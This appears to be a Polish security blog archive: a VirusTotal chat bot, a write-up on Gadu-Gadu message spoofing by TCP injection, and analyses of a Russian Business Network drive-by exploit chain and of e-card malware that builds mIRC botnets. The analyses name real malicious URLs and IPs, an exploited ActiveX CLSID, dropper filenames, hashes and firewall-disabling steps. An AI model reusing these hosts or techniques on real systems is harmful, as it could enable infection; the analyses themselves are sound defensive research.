Esmeralda’s update

Będzie to króciutka notka o nowej funkcjonalności, która od niedawna oferuje Esmeralda.
[+]Url Scan,
bo tak w wielkim skrócie można przedstawić tą opcje, polegającą na przesłaniu Esmerald’e komendy w formie !url http://evil_site.com/evil.file.
Esmeralda pobierze dla Was podejrzany plik ( obsługa przekierowań zapewniona ), uploaduje go do VirusTotal i odeśle Wam link do strony z rezultatem skanowania.
A tak to wygląda w praktyce:urlScan
tyle ;),
Enjoy.

Posted in Aplikacja, Malware, VTBot | Tagged , , , | Leave a comment

VTBot = MSNBot + VirusTotal

Nieraz zdarzało mi się pobrać parę plików różnego typu malware’u do analizy i składować to wszystko w jednej lokalizacji, a że domyślnie nazwy plików były identyczne z wartością hash’y tychże plików to sytuacja wyglądała następująco:
C:malware> dir
2008-01-10 19:31 2 610 566 41B12A4CD403B981B93E23CC26869AB8
2008-01-10 13:38 4 934 004 593efc8b80c604aed948cd93cf11086f
2008-01-10 14:17 242 705 8cae3ec70d96040e1d49a2fcdd497280
2008-01-10 14:07 4 852 142 95A22B862211BD36FBE72615BF79B37C
2008-01-10 14:46 1 212 334 a1a2847f88595e190d0709124d77e4a7
2008-01-10 13:53 2 276 205 B0524B8C909ABED7E648250B80745A88
2008-01-10 14:15 4 836 120 E3E6662D406BA9B097CBB802C7A1D2E6
2008-01-10 19:41 2 153 886 F2EFB17B7C45388D566E04CC9DE7E924

Po dłuższej chwili skupienia nad jednym z plików chcąc znaleźć w pozostałych wybrany malware pojawiał się problem pod tytułem np.”Teraz który to był Sality? hymmm”.
Nie pozostawało wtedy nic innego jak wyszukać malware po hash’u na VT, no ale przy odpalonych paru virtualynch maszynach ,jakimś IDE ,paru aktywnych komunikatorach, itp. nie uśmiechało mi się zbytnio odpalać Opery( tak tak wole Opere od FF :P) z 10-15 zakładkami :P. Chciałem mięć coś bardziej „user friendly”.
I tak narodził się pomysł stworzenia VTBot’a o wdzięcznym imieniu Esmeralda ;).
Esmeralda
Na chwilę obecna dostępne są dwie(a tak naprawdę jedna) komendy:
!help
!hash hash_value
,gdzie hash_value może przybierać wartości MD5|SHA1|SHA256.

Na powyższym screen’e możecie zaobserwować rezultat wykonania się komendy !hash
jak i przykładową konwersacje ,,,tak tak Esmeralda jest wyposażona w „AI” :D.
Wszelkie testy jak i nękania bot’a 😛 można przeprowadzać po dodaniu go do listy kontaktów w MSN’e.
MSN ID: esmeralda [ małpa ] virustotal [dot] com
Wszelkie sugestie, opinie i spostrzeżenia mile widziane ;).Pamiętajcie również ,że jest to wersja beta:P.

PS: Pojawiła się prośba, która wiedziałem, że wcześniej czy późnij wystąpi ,odnośnie udostępnieniu kodu źródłowego „GG injectora”. Szczerze to nadal mam mieszane uczucia co do publikacji tego skrawka kodu, dlatego zapraszam do dyskusji w komentarzach w poprzednim poście.

Posted in Aplikacja, VTBot | Tagged , , , , , | Leave a comment

TCP/IP packet injection na przykładzie Gadu-Gadu


Wiele wody w Wiśle upłynęło od ostatniego wpisu, a powodów było wiele :
sesje, represje, recesje ,obsesje, sprawy zawodowe, o których zapewne wspomnę w najbliższym czasie, itd.. ale przejdźmy do meritum…

”””
Marek, Jarek i blond włosa Wiktoria w jednym mieszkali domq. Marek i Jarek na górze, a Wiktoria na dole. Całe zimowe dnie spędzali na oglądaniu filmów, graniu w StarCraft;a po LAN’e oraz rozmowach przez GG. Pewnego dnia kiedy zły Marek zaczął grać na cheatach zbulwersowany Jarek po wypiciu herbatki z prądem postanowił się zemścić. Nic innego nie przychodziło mu do głowy jak zaprzestanie przesyłania wiadomości GG w standardowy sposób(przy udziale serwerów Gadu-Gadu) i nie zwlekając ani chwili dłużej Jarek naklikawszy injector pakietów tcp/ip w pythonie zaczął siać zło i zniszczenie. Pierwsza ofiarą Jarka stał się oczywiście Marek, a dokładniej relacja Marka z Wiktoria albowiem Jarek wykorzystując swój injector przesłał pakiet TCP zawierający strukturę GG_RECV_MSG wskazującą na to iż nadawcą jest Marek do Wiktorii, o treści, o której nawet strach wspominać.
”””

Czy ta historia może mieć odzwierciedlenie w rzeczywistości?
Jak najbardziej!
Zacytuje jeszcze fragment artykułu który będę chciał Wam przedstawić:
„Osoba wysyłająca sfałszowany pakiet wcale nie musi być zalogowany do sieci GG,
ani posiadać tam konta !!!.Jakie wynikają z tego następstwa:
Napastnik może wysłać sfałszowany pakiet zawierający nr GG dowolnego adresata o
dowolnej treści bez znajomości hasła dostępowego do tego konta!!!.”

Jako, że artykuł który przygotowałem jest dość obszerny to zamiast prezentować go w formie postu na blogu postanowiłem, że udostępnię go do pobrania w formie PDF.
Do paczki zawierającej art. dorzuciłem krótki film video prezentujący atak tcp/ip packet injection na którym widać w jaki sposób można przesłać wiadomość o dowolnej treści z dowolnego nr do użytkownika Gadu-Gadu. Dołączyłem także dla zainteresowanych ruch sieciowy zarejestrowany podczas takiego ataku.
Życze miłego czytania i oglądania:
PPM Click -> Art+Video+traffic
(UWAGA!!!:Paczka jest archiwem zip takze po sciagnieciu wystarczy zmienic rozszerzenie i rozpakowac)
Oczywiście czekam na feedback ;).

Posted in Analiza, Security | Tagged , , , , , | 13 Comments

Exploitacja w stylu RBN

W przypadku przeciętnych metod exploitacji browsera jest to jedna strona zawierająca złośliwy kod na wybrana podatność/ci, bez żadnych odwołań do kolejnych serwerów ,itp.
Jako, że RBN dysponuje potężniejszymi zasobami przejętych kont hostingowych niczego nie świadomych użytkowników oraz hostingów typu bullets-proof natrafiwszy na złośliwą stronę tej produkcji nasza przeglądarka jest zabierana wręcz w podróż dookoła świata, a po drodze musi „przełykać” kolejne porcje okrutnego kodu.

[+]Massive Attack[+]

Tak, tak, strony zawierające exploity wymierzone w twoją przeglądarkę ,a tak naprawdę
strony uruchamiające mechanizm rozłożony na paru(nastu) serwerach,testuje ją pod kątem podatności.
Rzućmy okiem na przebieg takiego ataku.
Uwaga: nazwy hostów podane przy analizie ataku, są rzeczywistymi nazwami hostów ,lecz większość z nich jest obecnie offline.
Typowe linki prowadzące do phishing sitów wyglądają tak:
http://evil.com/some_folder/[BANK|SHOP]NAME
, podobnie jest i w naszym przypadku

http://nirvanafan.org/magazin/s/unicaja
http://nirvanafan.org/magazin/s/bbk
http://nirvanafan.org/magazin/s/ebay

etc…no i na tym sprawa się kończy jeżeli konto zostało przejęte przez prawie_grupe_zorganizowaną.
Ale, ten przypadek jest inny…
Kiedy będziemy usiłowali się dostać do katalogu http://nirvanafan.org/magazin/s/ing czeka nas nie mała niespodzianka wykraczająca już poza zasięg działań przeciętnych phisherów. Przyjrzyjmy się działaniu całego mechanizmu przy użyciu sniffera.
1# Request:
GET /magazin/s/ing/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: pl
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: nirvanafan.org
Connection: Keep-Alive
2#Response
HTTP/1.1 200 OK
Date: Fri, 23 Nov 2007 15:15:59 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.3 mod_gzip/1.3.26.1a mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
X-Powered-By: PHP/5.2.3
Connection: close
Content-Type: text/html; charset=win-1251
Content-Encoding: gzip
Content-Length: 771
Content-encoded entity body (gzip): 771 bytes -> 4894 bytes
Binary Data:

Celowo nie wklejałem zawartości tego pakietu ponieważ dane są pakowane gzip’em.
Na nasze szczęście Wireshark daje możliwość obejrzenia danych z sesji http
po dekompresji. Rzućmy na nie okiem:
decompresed-data
Już lepiej ,lecz dalej nic konkretnego. Interesujące, są dwa js’y, które postaramy się przedstawić w bardziej przejrzystej formie.

[+]Deobfuscated Javascripts[+]

W prosty sposób przy użyciu html’owego tagu textarea otrzymamy zawartość js w postaci plain-text, a sam kod js się nie wykona i tym samy nie będzie miał żadnego wpływu na działanie naszej przeglądarki. A tak wygląda ten zabieg:
jsy
Stronę taką można przygotować w paru linijkach jak widać powyżej, albo skorzystać już z gotowej, zawartej w iDefense [ Malcode Analysis Pack ].Po uruchomieniu tego fragmentu kodu w przeglądarce zawartość textarea przedstawia. się następująco:
_js
Aha!, nareszcie kod wygląda przejrzyście. Jak widzimy tagi iframe ładują strony z obcego serwera, hym, od razu nasuwa, się pytanie czy aby na pewno includowane strony byłyby dla nas bezpieczne; ) ?Przyjrzymy się im bliżej w dalszej analizie. Warto wspomnieć, o tym iż zastosowanie stylu ‘display: none’ dla tagu iframe tworzy ten obiekt nie widzialny dla użytkownika przeglądającego stronę.

[+]Follow the src=[+]

Podczas analizy okazało się ,że obydwa linki przedstawione na screen’e powodują uruchomienie identycznego mechanizmu, także zajmiemy się badaniem rezultatów wywołania jednego z nich.
Request:
GET /traff.php?8429e639e8a91fe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: alltraff.cn
Response:
HTTP/1.1 200 OK
Server: Apache/2
Content-Encoding: gzip
X-Pad: avoid browser bug
Content-encoded entity body (gzip): 150 bytes -> 229 bytes
js21

Jak widać ponownie został użyty tag iframe do załadowania kolejnych stron, których zawartość warto będzie prześledzić, bo jak wskazuje jedno z pól nagłówka:
X-Pad: avoid browser Bug
,ich przeznaczenie nie stwarza żadnych wątpliwości.

[+]Fake path[+]

http://winhex.org/tds/in.cgi?5
Request:
GET /tds/in.cgi?5 HTTP/1.1
Referer: http://alltraff.cn/traff.php?18429e639e8a91fe
Host: winhex.org
Response:
HTTP/1.1 302 Found
Location: http://208.72.168.176/e-Z1odey1701/index.php
Set-Cookie: SL_5_0000=_1_; domain=winhex.org; path=/;
expires=Tue, 22-Jan-2008 04:03:16 GMT
Content-Encoding: gzip
Content-Length: 170
Content-encoded entity body (gzip): 170 bytes -> 216 bytes
js3

Meta tag URL, wymusza na przeglądarce odświeżenie strony wraz z przekierowaniem na wskazany przez niego adres, czyli w naszym wypadku http://208.72.168.176/e-Z1odey1701/index.php.
Request:
GET /e-Z1odey1701/index.php HTTP/1.1
Host: 208.72.168.176
Referer: http://alltraff.cn/traff.php?18429e639e8a91fe
Response:
HTTP/1.1 200 OK
Server: Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/4.4.4-8+etch3 mod_perl/2.0.2 Perl/v5.8.8
Line 1 : ai siktir vee? ->translate->’get lose’

Cała ścieżka wskazana przez http://winhex.org/tds/in.cgi?5 okazała się fałszywa, jedynie utrudniająca i wydłużająca analizę.
Przeanalizujmy teraz ścieżkę związaną z wywołaniem:
http://5yearscontract.com/check/versionl.php?t=578
Request:
GET /check/versionl.php?t=578 HTTP/1.1
Referer: http://alltraff.cn/traff.php?18429e639e8a91fe
Host: 5yearscontract.com
Response:
HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.5

js4
Jak widać wywołanie /check/versionl.php?t=578 kończy się załadowaniem
7 rożnych stron. Uchylając rąbka tajemnicy powiem, że celem każdej z nich jest exploitacja przeglądarki, a w końcowej fazie pobranie malware’u na komputer ofiary. Tak ,tak nie jedna nie dwie, a 7 witryn zawierających złośliwy kod!!!Jako, że różnice w powyższych plikach, są niewielkie(różne język programowania wykorzystany do napisania skryptu oraz odmienna lista kontrolek ,które maja zostać wyexploitowane) to omówię jedynie parę wybranych.

[+]Evil n140xx sites[+]

Przyjrzymy się teraz zawartości następujących plików :
/n14041.htm
/n14042.htm
/n14048.htm

untitled
Jak możemy zauważyć większość kodu jest w postaci nie zdatnej do odczytania. Do uzyskania w miarę przejrzystego kodu użyjemy techniki stosowanej w poprzednich przypadkach.
A oto jej rezultat:
untitled2
To co najbardziej widoczne jest na pierwszy rzut oka ,to różnica w językach programowania wykorzystanych do napisania tych dwóch skryptów(czyżby zapobiegawczo?), poza tym, ktoś postarał się o to żeby kodu nie czytało się zbyt łatwo i przyjemnie. Widać zastosowanie obfuscatora kodu, który utrudnia jego analizę(losowe nazwy funkcji, zmiennych, “łamanie” stringów).
Przyjrzyjmy się teraz bliżej skryptowi n14048.htm napisanemu w js:
n140481
Po wstępnej analizie osoby zorientowane w metodach exploitacji zauważą, że jest tu wykorzystana metoda zwana Heap Spraying, a podatność, którą stara się ten skrypt wykorzystać to:
“CLSID:A09AE68F-B14D-43ED-B713-BA413F034904”);
/* Vulnerabilit: WZFILEVIEW.FileViewCtrl.61
http://www.zerodayinitiative.com/advisories/ZDI-06-040.html
*/

(oczywiście kod został wcześniej przeze mnie poprawiony pod kątem nazw zmiennych, itp.)
Spójrzmy jeszcze na koniec na plik n14041.htm
bezc2a0tytulu2
Jak widzimy lista kontrolek do exploitacji jest spora.
Jeżeli exploitacja zakończy się sukcesem to tak jak wcześniej wspominałem zostanie pobrany plik(ie_updates3r.exe) z lokalizacji zaznaczonej zieloną ramką, po czym zostanie on uruchomiony na komputerze ofiary.
Dalszy przebieg wydarzeń jest już zależny od chwilowej fantazji panów z RBN’u :).

Posted in Analiza, Malware | Tagged , , , , , | 4 Comments

Dostałem E-Card a ty?

Uhh chwilę czasu minęło od ostatniego wpisu ,ale niestety nie miałem zbyt wiele czasu oraz tematów ,które mógłbym publikować. No ,ale jednak coś się znalazło, coś co mam nadzieje będzie warte waszej uwagi.Enjoy;).
Jako ,że nadchodzą święta to i twórcy malware’u nie pozostają w tyle. W ostatnim czasie otrzymałem dwa mail’e o charakterze świątecznym zawierające niespodziankę , którą oczywiście nie pozostawiłem bez sprawdzenia;).
allcards
Obu kartką przyjrzymy się z osobna ,chociaż tak naprawdę główny .exe w niespodziance jest identyczny to jednak warto wspomnieć o innych różniących aspektach.
Jako pierwszą weźmy tą otrzymana przeze mnie dnia 19.10.2008r.
card1mail
Jak widać na screen’e nasz e-card ma obiecujące rozszerzenie;).
Niestety po ściągnięciu card.exe byłem rozczarowany mało świąteczną ikoną:
icon1
jak i mało nastrojowym rezultatem skanowania z VirusTotal:
Antivirus Version Last Update Result
AntiVir - - HEUR/Malware
Authentium - - W32/Trojan-Gypikon-based.NC!Maximus
Avast - - VBS:Malware-gen
AVG - - IRC/BackDoor.Flood
BitDefender - - Backdoor.Zapchast.PE
ClamAV - - Trojan.IRC-Script-126
eSafe - - Win32.IRC.Zapchast.g
F-Prot - - W32/Trojan-Gypikon-based.NC!Maximus
F-Secure - - Backdoor.IRC.Zapchast.g
Fortinet - - REG/HideMirc!tr.bdr
GData - - Backdoor.Zapchast.PE
Ikarus - - Backdoor.Zapchast.PF
K7AntiVirus - - Trojan.Win32.Malware.1
Kaspersky - - Backdoor.IRC.Zapchast.g
McAfee - - Generic BackDoor
Microsoft - - Backdoor:Win32/IRCFlood
NOD32 - - REG/RunKeys.NAA
Panda - - BAT/Autorun.TA
PCTools - - Trojan.mIRC-Based.AM
SecureWeb-Gateway - - Heuristic.Malware
Sophos - - Mal/Zapchas-C
Sunbelt - - mIRC based
Symantec - - IRC.Backdoor.Trojan
TrendMicro - - REG_ZAPCHAST.ED
VBA32 - - BackDoor.IRC.based
VirusBuster - - Trojan.mIRC-Based.AM
Additional information
MD5: d664b7b6db6f76dd421af5d88cd71579

Nie pozostało mi nie innego jak tylko odpalić tego execka:
card_photo
Huh, znów ktoś się nie postarał ;/ fotografia jak najbardziej znajoma ,ale jak dla mnie klimat bardziej wiosenny niż zimowy, zresztą brak na niej mikołaja ,a tym bardziej blond włosych śnieżynek :D. No trudno. Ale czy to oby na pewno wszystko ?
aftercardrun
Aaa wiedziałem ,że prawdziwa niespodzianka dopiero przed nami;).
Myślę ,że ikona jak najbardziej wszystkim znana tylko nazwa procesu nieco inna niż zwykle.
Czy już domyślacie się jaki jest główny cel tego malware’u?
Troche danych technicznych
PEiD: UPX 0.89.6 – 1.02 / 1.05 – 1.24 -> Markus & Laszlo [RAR SFX]
Jak widać jest to SFX packowany UPX’em ,czyli najprawdopodobnie będzie to tzw
„Multi-Component malware”.
Można ,wiec spokojnie tego sfx rozpakować lub zrobić to tak hardcorowo jak ja, czyli po prostu 2kliknać i niech się dzieje;).
No, ale żeby dokładnie sprawdzić co/gdzie jest wypakowywane i uruchamiane odpalmy tego sfx’a pod winrare’m:
sfx1
Myślę ,że wszystko stało się jasne;)
Tak naprawdę naszą zło wrogą aplikacją jest oskryptowany mirc z odpowiednimi ustawieniami domyślnymi. Tak! tak standardowy mirc bez żadnych modyfikacji, (sprawdzałem binarkę z oryginałem) tworzący z naszej maszyny część botnet’u.
Warto na pewno wspomnieć o paru plikach:
ident.txt zwiera pokaźną listę imion, które są wykorzystywane jako ident oraz nick dla bota.
com.mrc plik zawierający skrypt mIRC’owy do kontroli bot’a (łączenie się z odpowiednim serwerem, dołączanie do kanłów, rozpoznawania bot masterów,itd.)

E-Card z dnia 23.11.2007


card2mail
Od razu można zauważyć ,że serwer hostujący drugą kartkę jest inny
iplocation
jak i sam sposób podania exe jest odmienny. Tym razem ktoś poszedł o krok dalej i nie umieścił linku bezpośrednio do pliku wykonywalnego, a jedynie do strony ,która już zadba ,o to żeby został pobrany odpowiedni plik.
Rzut oka na ruch sieciowy zarejestrowany przez sniffer i wszystko staje się jasne:
card2site
Kolejność wywoływanych stron(serwer jest nie aktywny):
http://211.78.51.26/user/images/index.html
http://211.78.51.26/user/images/step2.php
http://211.78.51.26/user/images/step.php
http://211.78.51.26/user/images/your_e-card.gif.exe

Szczerze powiedziawszy liczyłem na coś więcej:P….exploitacja browser’a, przekierowania na totalnie inny serwer, masę zaciemnionych javascriptów, itd.:P, a tu nic z tych rzeczy .Sam musiałem zezwolić IE na pobranie pliku ponieważ polisy bezpieczeństwa nie pozwoliły na pobranie go automatycznie. Ehh..
icon2
Ikona aplikacji tak samo mało świąteczna jak i poprzednia ,,,hehe ,ale pojawiło się kolejne ulepszenie związane z „podwójnym rozszerzeniem .jpg.exe”:P.
Scan z VT:
Antivirus Version Last Update Result
Avast 4.8.1281.0 2008.11.23 VBS:Malware-gen
AVG 8.0.0.199 2008.11.23 Zapchast.L
BitDefender 7.2 2008.11.24 Dropped:Backdoor.Cloner.BI
DrWeb 4.44.0.09170 2008.11.24 Trojan.Runner.15
eSafe 7.0.17.0 2008.11.23 Win32.Stration
F-Secure 8.0.14332.0 2008.11.24 Trojan.BAT.Runner.i
GData 19 2008.11.24 Dropped:Backdoor.Cloner.BI
Ikarus T3.1.1.45.0 2008.11.24 Backdoor.Cloner.BI
K7AntiVirus 7.10.531 2008.11.22 not-a-virus:RiskTool.Win32.HideWindows
Kaspersky 7.0.0.125 2008.11.24 not-a-virus:Client-IRC.Win32.mIRC.601
McAfee+Artemis 5443 2008.11.23 Generic!Artemis
NOD32 3634 2008.11.24 IRC/Cloner.BI
Rising 21.05.00.00 2008.11.24 Backdoor.mIRC-based.bj
Sophos 4.35.0 2008.11.24 Troj/Zapchas-EH
TrendMicro 8.700.0.1004 2008.11.24 BKDR_ZAPCHAST.AX
VBA32 3.12.8.9 2008.11.23 BackDoor.IRC.based
VirusBuster 4.5.11.0 2008.11.23 Backdoor.Zapchast.EI
Additional information
File size: 855790 bytes
MD5...: 3b381c20042c0a2f7cf6d33edccfac6b

Sprawdźmy czy .exe nie jest packowany.
PEiD: Nullsoft PiMP Stub [Nullsoft PiMP SFX] *.
Tego typu plik można wypakować 7ZIP’em:
listoffile
Paczka przedstawia się podobnie. Jak widać głównym narzędziem zła jest ponownie mIRC.
Nowe pliki jakie się tu pojawiają i są warte uwagi to:
instsrv.exe
sup.exe
svchost.exe

instsrv.exe
To gotowa aplikacja służąca do instalowania/uninstalowania usług:
Installs and removes system services from NT
INSTSRV ( | REMOVE)
[-a ] [-p ]
Install service example:
INSTSRV MyService C:MyDirDiskService.Exe
-OR-
INSTSRV MyService C:mailsrvmailsrv.exe -a MYDOMAINjoebob -p foo
Remove service example:
INSTSRV MyService REMOVE
Weźmy pod lupę kolejny plik:
sup.exe
Po załadowaniu go w Olku naszym oczą od razu ukazuje się string:
00418EEC |. BA EC934100 MOV EDX,sup.004193EC ; ASCII “Quick Batch File Compiler”
Ehhh ,, kolejna niesamowita innowacja :D. Bp na CreateFileA:
0012FEB0 00407832 /CALL to CreateFileA from sup.0040782D
0012FEB4 00870FFC |FileName = "C:DOCUME~1virtualLOCALS~1Tempbt8622.bat"
0012FEB8 C0000000 |Access = GENERIC_READ|GENERIC_WRITE
0012FEBC 00000000 |ShareMode = 0
0012FEC0 00000000 |pSecurity = NULL
0012FEC4 00000002 |Mode = CREATE_ALWAYS
0012FEC8 00000080 |Attributes = NORMAL
0012FECC 00000000 hTemplateFile = NULL

plik jest kasowany po uruchomieniu więc warto jeszcze postawić break’a na CloseHandle i po zamknięciu uchwytu sprawdzić jego zawartość.
supcontent
Jak widać są pewne nowości ,ale i niedociągnięcia:
2 linijka:
a_friend.exe ??? nie wiem czemu to miało służyć:P rozumiem ,że plik ten pojawi się w nowszej wersji:P, czyli nie ma co się śmiać , a jedynie potraktować tę linijkę jako:
„Reserved for future use” :D.
Tak jak widać w 3 linijce pozbywamy się firewall’a ,
następnie svchost.exe instalowany jest jako serwis ,
wprowadzenie zmian do rejestru,
uruchomienie serwisu svchost.
Rzućmy jeszcze okiem na plik svchost.exe:
Funkcja main prezentuje się następująco:
C745 F0 F8110 MOV [LOCAL.4],svchost.010011F8 ; |ASCII "MyService"
C745 F4 93140 MOV [LOCAL.3],svchost.01001493 ; |
FF15 10100001 CALL DWORD PTR DS:[] ; StartServiceCtrlDispatcherA
85C0 TEST EAX,EAX
75 06 JNZ SHORT svchost.01001D5C
FF15 1C100001 CALL DWORD PTR DS:[] ; [GetLastError
6A 00 PUSH 0 ; /ExitCode = 0
FF15 30100001 CALL DWORD PTR DS:[] ; ExitProcess

Rzućmy okien na informacje o -> StartServiceCtrlDispatcherA:
Ahh czyli tak naprawdę nasz svchost.exe służy jako aplikacja ,która uruchamia usługi.
Jak ,że aplikacja wydawała mi się zbyt schludna to zacząłem googlować: instsrv:
Bodajże drugi rezultat w google:
How To Create a User-Defined Service:
Topic pasuje jak najbardziej do naszej sytuacji: przykład użycia instsrv:
Example:
C:Program FilesResource KitInstsrv.exe Notepad C:Program FilesResource KitSrvany.exe

jeżeli porównamy to z wywołaniem z pliku sub.exe:
instsrv.exe svchost C:RECYCLERS-1-5-21-606747145-1085031214-725345543-500svchost.exe
to widać analogie i najprawdopodobniej svchost.exe == Srvany.exe
sprawdźmy:
C:Documents and SettingsvirtualDesktopcard2>comp svchost.exe srvany.exe
Comparing svchost.exe and srvany.exe…
Files compare OK.

BOTNET


Jak się mają sprawy związane ze stworzonym BotNet’em przez zainfekowane komputery tym malware.
Nie będę zradzać zbyt wiele szczegółów powiem tylko tyle ,że obydwie konfiguracje mIRC’a wymuszały na nim połączenie z tą samą siecią PUBLICZNA irc UnderNet ,ale z róznymi kanałami oraz kto inny był tam bot masterem. Jeżeli chodzi o cyfry to odwiedziłem dwa kanały, na jednym z nich było ponad 100 botów a na drugim ponad 200, także bez rewelacji;).
Specjalnie napisałem „PUBLICZNA” wielkimi literami ,żeby podkreślić fakt ,że kierownie botów na serwer sieci publicznej już dawno przestało być dobrym pomysłem ,widać przy tym , że cała ta akcja nie jest organizowana przez specjalistów w tym fachu 😀 RBN’s guys.heheh…a jedynie przez grupkę osób chcących małym narzutem pracy przejąć kontrolę nad jakąś liczbą komputerów.

Posted in Analiza, Malware | Tagged , , , , , , , | 2 Comments

IT Underground 2008

itu
Jak zapewne większość z was wie w ostatnim tygodniu października , a dokładnie
w dniach 27-29 odbyła się konferencja IT Underground 2008(Warszawa).
Jako ,że miałem okazję uczestniczyć w tym wydarzeniu to postaram się wam przybliżyć jego przebieg z mojej perspektywy ;).Btw: agenda’e znajdziecie tutaj: IT U Agenda.
Niestety w pierwszy jak i w drugi dzień nie udało nam się dotrzeć na 9:00(w nocy:P),także ominęły nas dwie początkowe prelekcje:
„A first inspection of Microsoft’s Hyper-V security” i
“The Kata of Secure Coding Exploitation techniques”
,
”na szczęście” nie słyszałem jakiś szczególnych zachwytów obiema :P. Pierwszą interesującą dla mnie prezentacja była :
” Discussing secure input solutions for web applications”,
ponieważ pojawiły się w niej m.in. rozważania na temat bezpieczeństwa transakcji bankowych i słusznie ,bo wieeeeeeele dzisiaj stosowanych rozwiązań już dawno się nie sprawdza: wirtualne klawiatury, zdrapki, sms code.
Tak ,tak te wszystkie „zabezpieczenia” ,są bez problemu omijane przez dzisiejsze trojany bankowe. Niestety jak to przeważnie bywa funkcjonalność nie idzie w parze z bezpieczeństwem i tak było tym razem w zasugerowanym przez A.Rosiello rozwiązaniu ,już teraz nie pamiętam detali ,ale sam problem polegał na tym ,że klient musiałby przy każdej transakcji używać czegoś w rodzaju księgi telefonicznej zawierającej masę kluczy jednorazowych ,gdzie klucz byłby wybierany na podstawie wcześniejszych wyliczeń PRZEPROWADZONYCH PRZEZ klienta:D!? Wyobrażacie to sobie?…
Oczywiście nie musze chyba nikomu mówić ,że z miłą chęcią słuchało się wykładu
„64-bit Imports Rebuilding and Unpacking” prowadzonego przez TiGa’e z ARTeam’u , komentować tego nie będę zobaczcie sami ->Video z RECon.
Dzień pierwszy kończył się dla mnie prezentacją „Fast-Flux Service Networks BYOL”
(ehmm BOYL w nazwach prezentacji pojawia się często i niestety tylko tam pozostał :P)
Wątek jak najbardziej na top’e, ciągle zgłębiany (nowe algorytmy wykrywania domen należących do Fast-flux oraz sposoby na dezaktywacje takich sieci),ale i też ciągle ulegający zmiana pod wpływem inwencji twórczych twórców BotNet’ow np. Hydraflux- Fast-Flux,także ogólnie mówiąc prezentacja jak najbardziej na plus ;).
Hehe panel dyskusyjny przejdzie do histori,, tego się nie da opisać :D, zaczęło się niewinnie
Temat:” co było największym trendem w Sec 2008 ?:”
1.Dan Kaminsky – luka w DNS
2.MS08-067
3.BGP….
(nie pamiętam dokładnie w czym był problem…mniejsza o to)
Czyli miało być wiele dywagacji itd, ale rozmowy poszły całkiem w innym kierunku i skończyło się na przepychankach słownych odnośnie RBN vs reszta świata :D, a zakończyło na krążącym winie po sali:D.

Dzien II

„Code injection techniques BYOL” ciekawa prezentacja raczej nie wnosząca nic nowego do tego tematu ,duży plus za to ,że prezentowane techniki był zarówno dla windows’a jak i linux’a ,także na gorąco można było sobie porównać jak dana sprawa wygląda na tych dwóch platformach. Kolejna i zarazem ostatnia prezentacja była „Exploring Novelty Ways in Building Botnets BYOL” (ahh znowu Bonet,,no coz takie trendy:P).Bardzo ciekawa prezentacja rzucająca światło na to w jakim kierunku twórcy sieci zombie mogą pójść zmieniając ich architekturę. Hehe i kolejny przykład na to jak funkcjonalność rodzi zagrożenia, panowie przedstawili przykładowy kod bot’a (pare linijek w C#, hehe ogólnie było trochę śmiechu ,że Microsoft powinien w następnej wersji framework’u umieścić klasę TBot i TCommandAndControl or something:P) oraz serwera opartego o nowy protokole PNRP dla którego support jest zaimplementowany domyślnie w Windows Vista ,Windows 2008 ,ale również w Windows XP po zainstalowaniu SP3. Protokół został stworzony w celu ułatwienia połączeń P2P w czasach gdzie większość przeciętnych użytkowników skrywa się za NAT’em, ale jak widać już niektórzy dopatrzyli się innych zastosowań :D. Info -> PNRP.
I tak konferencja dobiegła końca ,ogólne wrażenia pozytywne niemniej jednak wole Confidence😀 No i na koniec fotka ekipy jaką wybraliśmy się na IT Underground:
j00ru,Gynvael,Icewall
j00ru, Gynvael Coldwind,no i moja skromna osoba;).

Posted in Konferencje, Ogólne | Tagged , | Leave a comment

Ustawienie złożoności hasła


No właśnie ,sprawa na pozór błacha ,ale jak się okazuje jednak nie do końca.
Ostatnio w pewnym małym projekcie zachciało mi się manipulować zasada z polisy lokalnej (OS == Windows XP) ,a mianowicie :
Ustawienia zabezpieczeń lokalnych->Zasady konta->Zasady haseł->Hasło musi spełniać wymagania co do złożoności
Jeżeli ktoś jeszcze dziwi się dlaczego w ogóle poruszam ten temat to już wyjaśniam ,że jak najbardziej nie chodzi o ustawienie tej zasady w sposób „klikany” ;), tylko software’owy.
Idąc po najmniejsze lini oporu zacząłem od zapytania googli o klucz/wartość w rejestrze systemowym odpowiedzialny/ą za powyższa zasadę. Niestety nic konkretnego nie udało mi się ustalić ;/. Hymm , no trudno , pomyślałem i już pełen nadziei i optymizmu zacząłem szperać w sieci pod kątem WinApi , które dostarczyło by mi możliwości odczytywania jak i modyfikacji bieżącego stanu zasad polis lokalnych. Szukam, szukam i nic!!!o_O.
Trochę nie chciałem na początku dowierzać ,no ale po chwili do mnie dotarło ,że jednak błyskawicznego rozwiązania na swój „problem” nie znajdę;/.
Oczywiście jak mógłbym się poddać wcześniej nie doprowadzając sprawy do końca;).
Niestety żadna defaultowa windows’owa aplikacja nie przychodziła mi do głowy (prócz mmc.exe + przystawka secpol.msc,,,ale było by za dużo zabawy :P, a jakiej? o tym za chwilę),która pozwała by na modyfikacje polis, ale jako ,że w przeszłości zajmowałem się dobrą chwilę platformą serwerową Windows 2003 do głowy przyszedł mi Resorce Kit Tools.
No i bingo!!! Znajdujemy tam aplikację PASSPROP ,która jak najbardziej spełnia stawiane przeze mnie wymagania:
Passprop.exe /?
Displays or modifies domain policies for password complexity and
administrator lockout.
PASSPROP [/complex] [/simple] [/adminlockout] [/noadminlockout]
/complex Force passwords to be complex, requiring passwords
to be a mix of upper and lowercase letters and
numbers or symbols.
/simple Allow passwords to be simple.
/adminlockout Allow the Administrator account to be locked out.
The Administrator account can still log on
interactively on domain controllers.
/noadminlockout Don't allow the administrator account to be locked out.

